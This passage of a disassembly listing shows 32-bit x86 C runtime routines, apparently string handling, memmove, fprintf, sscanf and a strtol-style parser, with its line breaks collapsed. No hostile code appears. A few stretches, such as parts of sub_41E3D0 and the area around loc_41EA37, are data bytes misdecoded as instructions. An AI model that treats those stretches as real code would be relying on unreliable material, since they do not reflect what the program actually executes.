[ebp+var_14] cmp ecx, [ebp+arg_8] jb short loc_41E25D jmp short loc_41E2B0 ; --------------------------------------------------------------------------- loc_41E25D: ; CODE XREF: sub_41E040+219j mov edx, [ebp+arg_C] or edx, 8 mov [ebp+arg_C], edx mov eax, [ebp+var_C] cmp eax, [ebp+var_10] jb short loc_41E283 mov ecx, [ebp+var_C] cmp ecx, [ebp+var_10] jnz short loc_41E292 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp [ebp+var_14], edx ja short loc_41E292 loc_41E283: ; CODE XREF: sub_41E040+22Cj mov edx, [ebp+var_C] imul edx, [ebp+arg_8] add edx, [ebp+var_14] mov [ebp+var_C], edx jmp short loc_41E29A ; --------------------------------------------------------------------------- loc_41E292: ; CODE XREF: sub_41E040+234j ; sub_41E040+241j mov eax, [ebp+arg_C] or al, 4 mov [ebp+arg_C], eax loc_41E29A: ; CODE XREF: sub_41E040+250j mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_8], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp loc_41E1A6 ; --------------------------------------------------------------------------- loc_41E2B0: ; CODE XREF: sub_41E040:loc_41E251j ; sub_41E040+21Bj mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_C] and edx, 8 test edx, edx jnz short loc_41E2D8 cmp [ebp+arg_4], 0 jz short loc_41E2CF mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41E2CF: ; CODE XREF: sub_41E040+287j mov [ebp+var_C], 0 jmp short loc_41E34A ; --------------------------------------------------------------------------- loc_41E2D8: ; CODE XREF: sub_41E040+281j mov ecx, [ebp+arg_C] and ecx, 4 test ecx, ecx jnz short loc_41E312 mov edx, [ebp+arg_C] and edx, 1 test edx, edx jnz short loc_41E34A mov eax, [ebp+arg_C] and eax, 2 test eax, eax jz short loc_41E2FF cmp [ebp+var_C], 80000000h ja short loc_41E312 loc_41E2FF: ; CODE XREF: sub_41E040+2B4j mov ecx, [ebp+arg_C] and ecx, 2 test ecx, ecx jnz short loc_41E34A cmp [ebp+var_C], 7FFFFFFFh jbe short loc_41E34A loc_41E312: ; CODE XREF: sub_41E040+2A0j ; sub_41E040+2BDj call sub_4267E0 mov dword ptr [eax], 22h mov edx, [ebp+arg_C] and edx, 1 test edx, edx jz short loc_41E330 mov [ebp+var_C], 0FFFFFFFFh jmp short loc_41E34A ; --------------------------------------------------------------------------- loc_41E330: ; CODE XREF: sub_41E040+2E5j mov eax, [ebp+arg_C] and eax, 2 test eax, eax jz short loc_41E343 mov [ebp+var_C], 80000000h jmp short loc_41E34A ; --------------------------------------------------------------------------- loc_41E343: ; CODE XREF: sub_41E040+2F8j mov [ebp+var_C], 7FFFFFFFh loc_41E34A: ; CODE XREF: sub_41E040+296j ; sub_41E040+2AAj ... cmp [ebp+arg_4], 0 jz short loc_41E358 mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx loc_41E358: ; CODE XREF: sub_41E040+30Ej mov eax, [ebp+arg_C] and eax, 2 test eax, eax jz short loc_41E36A mov ecx, [ebp+var_C] ; CODE XREF: sub_41E3D0+Dj neg ecx mov [ebp+var_C], ecx loc_41E36A: ; CODE XREF: sub_41E040+320j mov eax, [ebp+var_C] loc_41E36D: ; CODE XREF: sub_41E040+D9j mov esp, ebp pop ebp retn sub_41E040 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E380 proc near ; CODE XREF: seg000:00406171p ; seg000:004067E5p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 1 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_41E040 add esp, 10h pop ebp retn sub_41E380 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E3A0 proc near ; CODE XREF: seg000:00405BDFp ; seg000:00405BFDp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41E3C1 xor eax, eax jmp short loc_41E3C3 ; --------------------------------------------------------------------------- loc_41E3C1: ; CODE XREF: sub_41E3A0+1Bj mov eax, edi loc_41E3C3: ; CODE XREF: sub_41E3A0+1Fj cld pop edi leave retn sub_41E3A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E3D0 proc near ; CODE XREF: seg000:004055D4p ; seg000:0041E427p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push eax call near ptr 3D0000h jp short near ptr loc_41E362+2 sal byte ptr [ebp+arg_0+3], 0FFh adc eax, offset dword_4F1310 mov [ebp+var_4], eax jmp short loc_41E3F4 ; --------------------------------------------------------------------------- mov [ebp+var_4], 0 loc_41E3F4: ; CODE XREF: sub_41E3D0+1Bj cmp [ebp+var_4], 0 jz short loc_41E40B mov ecx, [ebp+var_4] push ecx call sub_426740 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_41E40D ; --------------------------------------------------------------------------- loc_41E40B: ; CODE XREF: sub_41E3D0+28j xor eax, eax loc_41E40D: ; CODE XREF: sub_41E3D0+39j mov esp, ebp pop ebp retn sub_41E3D0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] push eax call sub_41E3D0 add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E440 proc near ; CODE XREF: seg000:0040552Bp ; sub_40C5EF+181p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi lea eax, [ebp+arg_8] mov [ebp+var_10], eax loc_41E44F: ; CODE XREF: sub_41E440+37j cmp [ebp+arg_0], 0 jnz short loc_41E473 push offset dword_4394FC push 0 push 38h push offset aFprintf_c ; "fprintf.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41E473 int 3 ; Trap to Debugger loc_41E473: ; CODE XREF: sub_41E440+13j ; sub_41E440+30j xor ecx, ecx test ecx, ecx jnz short loc_41E44F loc_41E479: ; CODE XREF: sub_41E440+61j cmp [ebp+arg_4], 0 jnz short loc_41E49D push offset aFormatNull ; "format != NULL" push 0 push 39h push offset aFprintf_c ; "fprintf.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41E49D int 3 ; Trap to Debugger loc_41E49D: ; CODE XREF: sub_41E440+3Dj ; sub_41E440+5Aj xor edx, edx test edx, edx jnz short loc_41E479 mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_41F070 add esp, 4 mov edx, [ebp+var_4] push edx call sub_4269E0 add esp, 4 mov [ebp+var_8], eax mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+var_4] push edx call sub_424CB0 add esp, 0Ch mov [ebp+var_C], eax mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_8] push ecx call sub_426B40 add esp, 8 mov edx, [ebp+var_4] push edx call sub_41F0E0 add esp, 4 mov eax, [ebp+var_C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41E440 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E510 proc near ; CODE XREF: seg000:004037EAp ; seg000:0042AE16p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41E541 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41E53F jz short loc_41E541 dec ecx dec ecx loc_41E53F: ; CODE XREF: sub_41E510+29j not ecx loc_41E541: ; CODE XREF: sub_41E510+9j ; sub_41E510+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41E510 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41E550 proc near ; CODE XREF: seg000:00403447p ; seg000:00405289p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41E5C1 sub_41E550 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41E560 proc near ; CODE XREF: seg000:00403450p ; seg000:00406FB8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41E57C loc_41E56D: ; CODE XREF: sub_41E560+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41E5AF test ecx, 3 jnz short loc_41E56D loc_41E57C: ; CODE XREF: sub_41E560+Bj ; sub_41E560+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41E57C mov eax, [ecx-4] test al, al jz short loc_41E5BE test ah, ah jz short loc_41E5B9 test eax, 0FF0000h jz short loc_41E5B4 test eax, 0FF000000h jz short loc_41E5AF jmp short loc_41E57C ; --------------------------------------------------------------------------- loc_41E5AF: ; CODE XREF: sub_41E560+12j ; sub_41E560+4Bj lea edi, [ecx-1] jmp short loc_41E5C1 ; --------------------------------------------------------------------------- loc_41E5B4: ; CODE XREF: sub_41E560+44j lea edi, [ecx-2] jmp short loc_41E5C1 ; --------------------------------------------------------------------------- loc_41E5B9: ; CODE XREF: sub_41E560+3Dj lea edi, [ecx-3] jmp short loc_41E5C1 ; --------------------------------------------------------------------------- loc_41E5BE: ; CODE XREF: sub_41E560+39j lea edi, [ecx-4] loc_41E5C1: ; CODE XREF: sub_41E550+5j ; sub_41E560+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41E5E6 loc_41E5CD: ; CODE XREF: sub_41E560+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41E638 mov [edi], dl inc edi test ecx, 3 jnz short loc_41E5CD jmp short loc_41E5E6 ; --------------------------------------------------------------------------- loc_41E5E1: ; CODE XREF: sub_41E560+9Ej ; sub_41E560+B8j mov [edi], edx add edi, 4 loc_41E5E6: ; CODE XREF: sub_41E560+6Bj ; sub_41E560+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41E5E1 test dl, dl jz short loc_41E638 test dh, dh jz short loc_41E62F test edx, 0FF0000h jz short loc_41E622 test edx, 0FF000000h jz short loc_41E61A jmp short loc_41E5E1 ; --------------------------------------------------------------------------- loc_41E61A: ; CODE XREF: sub_41E560+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41E622: ; CODE XREF: sub_41E560+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41E62F: ; CODE XREF: sub_41E560+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41E638: ; CODE XREF: sub_41E560+72j ; sub_41E560+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41E560 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41E650 loc_41E640: ; CODE XREF: sub_41E650+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41E650 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41E650 proc near ; CODE XREF: seg000:0040342Cp ; seg000:004034D3p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041E640 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41E656: ; CODE XREF: sub_41DBE0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41E67B loc_41E668: ; CODE XREF: sub_41E650+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41E640 test cl, cl jz short loc_41E6C4 test edx, 3 jnz short loc_41E668 loc_41E67B: ; CODE XREF: sub_41E650+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41E686: ; CODE XREF: sub_41E650+61j ; sub_41E650+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41E6C8 and eax, 81010100h jz short loc_41E686 and eax, 1010100h jnz short loc_41E6C2 and esi, 80000000h jnz short loc_41E686 loc_41E6C2: ; CODE XREF: sub_41E650+68j ; sub_41E650+81j ... pop esi pop edi loc_41E6C4: ; CODE XREF: sub_41E650+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41E6C8: ; CODE XREF: sub_41E650+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41E705 test al, al jz short loc_41E6C2 cmp ah, bl jz short loc_41E6FE test ah, ah jz short loc_41E6C2 shr eax, 10h cmp al, bl jz short loc_41E6F7 test al, al jz short loc_41E6C2 cmp ah, bl jz short loc_41E6F0 test ah, ah jz short loc_41E6C2 jmp short loc_41E686 ; --------------------------------------------------------------------------- loc_41E6F0: ; CODE XREF: sub_41E650+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41E6F7: ; CODE XREF: sub_41E650+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41E6FE: ; CODE XREF: sub_41E650+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41E705: ; CODE XREF: sub_41E650+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41E650 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41E710 proc near ; CODE XREF: sub_408990+8Dp ; sub_409293+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41E7C4 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41E73A loc_41E72B: ; CODE XREF: sub_41E710+28j mov al, [edi] inc edi test al, al jz short loc_41E76B test edi, 3 jnz short loc_41E72B loc_41E73A: ; CODE XREF: sub_41E710+19j ; sub_41E710+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41E73A mov eax, [edi-4] test al, al jz short loc_41E778 test ah, ah jz short loc_41E773 test eax, 0FF0000h jz short loc_41E76E test eax, 0FF000000h jnz short loc_41E73A loc_41E76B: ; CODE XREF: sub_41E710+20j dec edi jmp short loc_41E77B ; --------------------------------------------------------------------------- loc_41E76E: ; CODE XREF: sub_41E710+52j sub edi, 2 jmp short loc_41E77B ; --------------------------------------------------------------------------- loc_41E773: ; CODE XREF: sub_41E710+4Bj sub edi, 3 jmp short loc_41E77B ; --------------------------------------------------------------------------- loc_41E778: ; CODE XREF: sub_41E710+47j sub edi, 4 loc_41E77B: ; CODE XREF: sub_41E710+5Cj ; sub_41E710+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41E790 mov ebx, ecx shr ecx, 2 jnz short loc_41E7DC jmp short loc_41E7AC ; --------------------------------------------------------------------------- loc_41E790: ; CODE XREF: sub_41E710+75j ; sub_41E710+93j mov dl, [esi] inc esi test dl, dl jz short loc_41E7CA mov [edi], dl inc edi dec ecx jz short loc_41E7C0 test esi, 3 jnz short loc_41E790 mov ebx, ecx shr ecx, 2 jnz short loc_41E7DC loc_41E7AC: ; CODE XREF: sub_41E710+7Ej ; sub_41E710+CAj mov ecx, ebx and ecx, 3 jz short loc_41E7C0 loc_41E7B3: ; CODE XREF: sub_41E710+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41E7C2 dec ecx jnz short loc_41E7B3 loc_41E7C0: ; CODE XREF: sub_41E710+8Bj ; sub_41E710+A1j mov [edi], cl loc_41E7C2: ; CODE XREF: sub_41E710+ABj pop ebx pop esi loc_41E7C4: ; CODE XREF: sub_41E710+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41E7CA: ; CODE XREF: sub_41E710+85j ; sub_41E710+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41E7D4: ; CODE XREF: sub_41E710+E4j ; sub_41E710+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41E7AC loc_41E7DC: ; CODE XREF: sub_41E710+7Cj ; sub_41E710+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41E7D4 test dl, dl jz short loc_41E7CA test dh, dh jz short loc_41E828 test edx, 0FF0000h jz short loc_41E818 test edx, 0FF000000h jnz short loc_41E7D4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41E818: ; CODE XREF: sub_41E710+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41E828: ; CODE XREF: sub_41E710+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41E710 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E840 proc near ; CODE XREF: sub_408AC1+62p ; sub_408AC1+6Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41E860 cmp edi, eax jb loc_41E9D8 loc_41E860: ; CODE XREF: sub_41E840+16j test edi, 3 jnz short loc_41E87C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41E89C rep movsd jmp ds:off_41E988[edx*4] ; --------------------------------------------------------------------------- loc_41E87C: ; CODE XREF: sub_41E840+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41E894 and eax, 3 add ecx, eax jmp dword ptr ds:loc_41E89C+4[eax*4] ; --------------------------------------------------------------------------- loc_41E894: ; CODE XREF: sub_41E840+46j jmp dword ptr ds:loc_41E998[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41E89C: ; CODE XREF: sub_41E840+31j ; sub_41E840+8Ej ... jmp ds:off_41E91C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41E8B0 dd offset loc_41E8DC dd offset loc_41E900 ; --------------------------------------------------------------------------- loc_41E8B0: ; DATA XREF: sub_41E840+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41E89C rep movsd jmp ds:off_41E988[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41E8DC: ; DATA XREF: sub_41E840+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41E89C rep movsd jmp ds:off_41E988[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41E900: ; DATA XREF: sub_41E840+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41E89C rep movsd jmp ds:off_41E988[edx*4] ; --------------------------------------------------------------------------- align 4 off_41E91C dd offset loc_41E97F ; DATA XREF: sub_41E840:loc_41E89Cr dd offset loc_41E96C dd offset loc_41E964 dd offset loc_41E95C dd offset loc_41E954 dd offset loc_41E94C dd offset loc_41E944 dd offset loc_41E93C ; --------------------------------------------------------------------------- loc_41E93C: ; CODE XREF: sub_41E840:loc_41E89Cj ; DATA XREF: sub_41E840+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41E944: ; CODE XREF: sub_41E840:loc_41E89Cj ; DATA XREF: sub_41E840+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41E94C: ; CODE XREF: sub_41E840:loc_41E89Cj ; DATA XREF: sub_41E840+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41E954: ; CODE XREF: sub_41E840:loc_41E89Cj ; DATA XREF: sub_41E840+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41E95C: ; CODE XREF: sub_41E840:loc_41E89Cj ; DATA XREF: sub_41E840+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41E964: ; CODE XREF: sub_41E840:loc_41E89Cj ; DATA XREF: sub_41E840+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41E96C: ; CODE XREF: sub_41E840:loc_41E89Cj ; DATA XREF: sub_41E840+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41E97F: ; CODE XREF: sub_41E840:loc_41E89Cj ; DATA XREF: sub_41E840:off_41E91Co jmp ds:off_41E988[edx*4] ; --------------------------------------------------------------------------- align 4 off_41E988 dd offset loc_41E998 ; DATA XREF: sub_41E840+35r ; sub_41E840+92r ... dd offset loc_41E9A0 dd offset loc_41E9AC dd offset loc_41E9C0 ; --------------------------------------------------------------------------- loc_41E998: ; CODE XREF: sub_41E840+35j ; sub_41E840+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41E9A0: ; CODE XREF: sub_41E840+35j ; sub_41E840+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41E9AC: ; CODE XREF: sub_41E840+35j ; sub_41E840+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41E9C0: ; CODE XREF: sub_41E840+35j ; sub_41E840+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41E9D8: ; CODE XREF: sub_41E840+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41EA0C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41EA00 std rep movsd cld jmp ds:off_41EB20[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41EA00: ; CODE XREF: sub_41E840+1B1j ; sub_41E840+208j ... neg ecx jmp dword ptr ds:loc_41EACF+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41EA0C: ; CODE XREF: sub_41E840+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41EA24 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_41EA24+4[eax*4] ; --------------------------------------------------------------------------- loc_41EA24: ; CODE XREF: sub_41E840+1D6j ; DATA XREF: sub_41E840+1DDr jmp ds:off_41EB20[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41EA37+1 dd offset loc_41EA58 ; --------------------------------------------------------------------------- sub dl, 41h loc_41EA37: ; DATA XREF: sub_41E840+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41EA00 std rep movsd cld jmp ds:off_41EB20[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41EA58: ; DATA XREF: sub_41E840+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41EA00 std rep movsd cld jmp ds:off_41EB20[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41EA00 std rep movsd cld jmp ds:off_41EB20[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset dword_41EAD4 dd offset dword_41EADC dd offset dword_41EAE4 dd offset dword_41EAEC dd offset dword_41EAF4 dd offset dword_41EAFC ; --------------------------------------------------------------------------- add al, 0EBh inc ecx loc_41EACF: ; DATA XREF: sub_41E840+1C2r add [edi], dl jmp short loc_41EB14 ; --------------------------------------------------------------------------- align 4 dword_41EAD4 dd 1C8E448Bh, 1C8F4489hdword_41EADC dd 188E448Bh, 188F4489hdword_41EAE4 dd 148E448Bh, 148F4489hdword_41EAEC dd 108E448Bh, 108F4489hdword_41EAF4 dd 0C8E448Bh, 0C8F4489hdword_41EAFC dd 88E448Bh, 88F4489h, 48E448Bh, 48F4489h, 8D048Dh, 3000000h ; DATA XREF: sub_41E840+288o ; --------------------------------------------------------------------------- loc_41EB14: ; CODE XREF: sub_41E840+291j lock add edi, eax loc_41EB17: ; CODE XREF: sub_41E840+1C2j jmp ds:off_41EB20[edx*4] ; --------------------------------------------------------------------------- align 10h off_41EB20 dd offset loc_41EB30 ; DATA XREF: sub_41E840+1B7r ; sub_41E840:loc_41EA24r ... dd offset loc_41EB38 dd offset loc_41EB48 dd offset loc_41EB5C ; --------------------------------------------------------------------------- loc_41EB30: ; CODE XREF: sub_41E840+1B7j ; sub_41E840:loc_41EA24j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41EB38: ; CODE XREF: sub_41E840+1B7j ; sub_41E840:loc_41EA24j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41EB48: ; CODE XREF: sub_41E840+1B7j ; sub_41E840:loc_41EA24j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41EB5C: ; CODE XREF: sub_41E840+1B7j ; sub_41E840:loc_41EA24j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41E840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB80 proc near ; CODE XREF: sub_409C2C+40p ; seg000:0040FF24p ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax lea ecx, [ebp+arg_8] mov [ebp+var_2C], ecx loc_41EB95: ; CODE XREF: sub_41EB80+3Dj cmp [ebp+arg_0], 0 jnz short loc_41EBB9 push offset aStringNull ; "string != NULL" push 0 push 42h push offset aSscanf_c ; "sscanf.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41EBB9 int 3 ; Trap to Debugger loc_41EBB9: ; CODE XREF: sub_41EB80+19j ; sub_41EB80+36j xor edx, edx test edx, edx jnz short loc_41EB95 loc_41EBBF: ; CODE XREF: sub_41EB80+67j cmp [ebp+arg_4], 0 jnz short loc_41EBE3 push offset aFormatNull ; "format != NULL" push 0 push 43h push offset aSscanf_c ; "sscanf.c" push 2 call loc_420E10 add esp, 14h cmp eax, 1 jnz short loc_41EBE3 int 3 ; Trap to Debugger loc_41EBE3: ; CODE XREF: sub_41EB80+43j ; sub_41EB80+60j xor eax, eax test eax, eax jnz short loc_41EBBF mov ecx, [ebp+var_24] mov dword ptr [ecx+0Ch], 49h mov edx, [ebp+var_24] mov eax, [ebp+arg_0] mov [edx+8], eax mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx], edx mov eax, [ebp+arg_0] push eax call sub_41AC70 add esp, 4 mov ecx, [ebp+var_24] mov [ecx+4], eax mov edx, [ebp+var_2C] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_24] push ecx call sub_426BE0 add esp, 0Ch mov [ebp+var_28], eax mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41EB80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41EC40 proc near ; CODE XREF: seg000:0040A74Ap ; seg000:0040A765p ... arg_0 = dword ptr 4 arg_4 = dword ptr 